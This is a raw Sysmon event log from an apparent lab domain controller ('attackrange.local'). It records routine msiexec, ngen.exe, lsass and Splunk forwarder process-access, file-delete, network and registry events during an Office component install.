10341000x800000000000000039367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.104{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1108-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.073{7BD73061-6F23-613B-1208-00000000F001}63405044C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1108-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.073{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1208-00000000F001}6340C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.057{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1108-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.057{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1108-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.057{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-0F08-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.057{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-0F08-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.041{7BD73061-6F23-613B-1008-00000000F001}57883628C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-0F08-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.026{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1008-00000000F001}5788C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.026{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-0F08-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.026{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-0F08-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.010{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0D08-00000000F001}6924c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.010{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0D08-00000000F001}6924c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.010{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F621F17FF6CE3006083EC9501E455026,SHA256=D3F46B930F921B9A3AA287265C60B6839D3371DCC7B8319912C0E9BA75159959,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.994{7BD73061-6F22-613B-0E08-00000000F001}64763740C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0D08-00000000F001}6924c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.916{7BD73061-6E8E-613B-1107-00000000F001}41162816C:\Windows\system32\msiexec.exe{7BD73061-6E89-613B-F206-00000000F001}6128C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\apphelp.dll+20ffd|C:\Windows\system32\apphelp.dll+209c1|C:\Windows\system32\Msi.dll+19e41d|C:\Windows\system32\Msi.dll+2eaae|C:\Windows\system32\Msi.dll+47505|C:\Windows\system32\Msi.dll+10a8c5|C:\Windows\system32\Msi.dll+109ae6|C:\Windows\system32\Msi.dll+f407f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.776{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b132.msiMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.776{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5FA7D76CA34F3291A0BC46D4078A5D0C,SHA256=D6410B7285B1D4B44C5F6353EB88FA4EAE6F6BCF7B0668D487F6A450ADBE3481,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=116C20C1944B9A912345401984C75325,SHA256=89A30D7BB82AE80671160A507A39ADA37B27E752A136799C48FCCABED6FEC587,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=69D8ABB99C7CD25A631DF8D68E270671,SHA256=28615A3E0800E67DEF332973BA3FD58E9FCEAB1ED9CC590652AB682CED0F1EEE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF84A9EDF1D5CAAD1F.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFE9659D0923167904.TMPMD5=69D8ABB99C7CD25A631DF8D68E270671,SHA256=28615A3E0800E67DEF332973BA3FD58E9FCEAB1ED9CC590652AB682CED0F1EEE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=BC6714953B1DFDE0EBA94B84E95B2149,SHA256=9023854540F319957781305C3CD6831EAFF574D764459607676407BAD2E73E21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFA7B5C8F6517E3E33.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.744{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF7EBDB31C8640C113.TMPMD5=69D8ABB99C7CD25A631DF8D68E270671,SHA256=28615A3E0800E67DEF332973BA3FD58E9FCEAB1ED9CC590652AB682CED0F1EEE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000039496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.473{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59211-false10.0.1.12-8000- 23542300x800000000000000039495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.729{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b12e.msiMD5=6698B04578A272F6768CEFADC962AB67,SHA256=0F982D6051ACD3B1097EF64922DB34CA58EDDCCD9DCCE5E844858C91C7DA4E56,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.729{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFDD0DFA02D823BFAE.TMPMD5=CDAD780060E21150EE8584BA0338A538,SHA256=1010A0CCF3E4CD2F64F70CD968E7B40305C1D4865450E84524ECB3698F82584B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.729{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF40FF49A38D674AE2.TMPMD5=C8763C05032C51D4CD621A8A73F87300,SHA256=45D865C4EC7455402FF463AB08D81D2A2130318FDACE6CCCEA68627FCA1A57FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.729{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CB912FBF78711A789691AE65F06ED22F,SHA256=FD00D944111E2396C13AE43228D8D6FFF33C2CDC4A1CB73F2A3B292B8123501E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.729{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73E6A456B1C6A90D2E46E757F0BD40DE,SHA256=8B21E1E3AF8EFFA34CB2B87DA34FC652B15A58696571E6CC04FD1BCA2AA7F4CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.713{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b130.rbsMD5=8BFC3CD5004E58D868B9FC9096E49335,SHA256=82F3F0ED6D6865300A92C1A87D40C7DCCCAA72E9F3C2A356678295336F299669,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.713{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF34D26526F9780478.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.713{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF19CAD9EDDE2730FC.TMPMD5=608FEE8FB0D3F4C3D530C886698BE59B,SHA256=A992014C9DD5D69C0CE421E5888CF6CA49829B933FD2CEC380F714354460540C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.713{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF1FF47BA8FCC1857A.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.713{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF6FE43719EC937F69.TMPMD5=608FEE8FB0D3F4C3D530C886698BE59B,SHA256=A992014C9DD5D69C0CE421E5888CF6CA49829B933FD2CEC380F714354460540C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.713{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIFB9D.tmpMD5=6DF0C18D1536385553624B62C72AD7C5,SHA256=71452E6FB19D34CFA05CDE9451D3FFB6D01210FE9B9ECD5B4FBB2E4CFB38AD50,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000039484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:48.698{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\URLUpdateInfo(Empty) 13241300x800000000000000039483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:43:48.698{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\PublisherMicrosoft Corporation 13241300x800000000000000039482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:48.698{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\InstallSourcec:\program files\microsoft office\root\integration\ 23542300x800000000000000039481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.682{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b130.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.682{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF759A9631BEAA8732.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.682{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3779091EE860DA75.TMPMD5=608FEE8FB0D3F4C3D530C886698BE59B,SHA256=A992014C9DD5D69C0CE421E5888CF6CA49829B933FD2CEC380F714354460540C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.651{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIFB9D.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.604{7BD73061-6E8E-613B-1107-00000000F001}41167148C:\Windows\system32\msiexec.exe{7BD73061-6E89-613B-F206-00000000F001}6128C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\apphelp.dll+20ffd|C:\Windows\system32\apphelp.dll+209c1|C:\Windows\system32\Msi.dll+19e41d|C:\Windows\system32\Msi.dll+2eaae|C:\Windows\system32\Msi.dll+47505|C:\Windows\system32\Msi.dll+10a8c5|C:\Windows\system32\Msi.dll+109ae6|C:\Windows\system32\Msi.dll+f407f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.604{7BD73061-6E8E-613B-1107-00000000F001}4116NT 